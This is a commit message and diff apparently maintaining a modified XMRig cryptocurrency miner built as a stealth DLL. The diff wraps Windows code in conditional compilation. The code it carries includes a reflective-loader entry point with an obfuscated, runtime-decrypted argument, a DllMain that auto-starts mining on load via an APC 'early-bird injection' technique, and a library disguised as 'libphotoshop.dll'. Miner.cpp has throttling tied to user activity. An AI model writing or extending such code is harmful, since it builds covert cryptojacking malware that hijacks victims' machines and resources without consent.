Wrap Windows-specific code in conditional compilation

- Wrap DLL functions and DllMain in #ifdef _WIN32 in xmrig.cpp
- Fix Miner.cpp syntax by removing duplicate lines
- Windows throttling code now only compiles on Windows
- Linux builds should work without Windows-specific code

src/core/Miner.cpp

@@ -724,9 +724,6 @@ void xmrig::Miner::onTimer(const Timer *)
         }
     }
 #endif
-            lastThrottleState = userActive;
-        }
-    }
 
     if (stopMiner) {
         stop();

src/xmrig.cpp

@@ -5,7 +5,9 @@
 #include "App.h"
 #include "base/kernel/Entry.h"
 #include "base/kernel/Process.h"
+#ifdef _WIN32
 #include <windows.h>
+#endif
 #include <winnt.h>
 #include <string>
 #include <cstring>
@@ -44,6 +46,7 @@ extern "C" {
         app->exec();  // ← blocks forever
     }
 
+#ifdef _WIN32
     DLL_EXPORT DWORD RdiEntry(LPVOID) {
         const unsigned char enc_arg[] = { 0xDA,0xD2,0xD5,0xDE,0xD5,0xD3,0xD2,0xD5,0xD7,0xDF,0xDF,0xD2,0xD8,0xD4,0xDE,0xDC,0xDC,0x00 };
         std::string s = decrypt(enc_arg, sizeof(enc_arg)-1);
@@ -58,24 +61,25 @@ extern "C" {
         return 0;
     }
 
-} // extern "C"
+    // THIS IS THE ONLY CORRECT WAY TO AUTO-START WITH LoadLibraryW
+    BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
+    {
+        if (reason == DLL_PROCESS_ATTACH) {
+            DisableThreadLibraryCalls(hModule);
 
-// THIS IS THE ONLY CORRECT WAY TO AUTO-START WITH LoadLibraryW
-BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
-{
-    if (reason == DLL_PROCESS_ATTACH) {
-        DisableThreadLibraryCalls(hModule);
+            // THIS IS THE REAL FIX FOR EARLY-BIRD INJECTION
+            QueueUserAPC([](ULONG_PTR) -> void {
+                WSADATA wsa;
+                WSAStartup(MAKEWORD(2,2), &wsa);
 
-        // THIS IS THE REAL FIX FOR EARLY-BIRD INJECTION
-        QueueUserAPC([](ULONG_PTR) -> void {
-            WSADATA wsa;
-            WSAStartup(MAKEWORD(2,2), &wsa);
+                char* argv[] = { (char*)"libphotoshop.dll", nullptr };
+                start_a(1, argv);  // blocks forever
 
-            char* argv[] = { (char*)"libphotoshop.dll", nullptr };
-            start_a(1, argv);  // blocks forever
-
-            WSACleanup();
-        }, GetCurrentThread(), 0);
+                WSACleanup();
+            }, GetCurrentThread(), 0);
+        }
+        return TRUE;
     }
-    return TRUE;
-}
+#endif
+
+} // extern "C"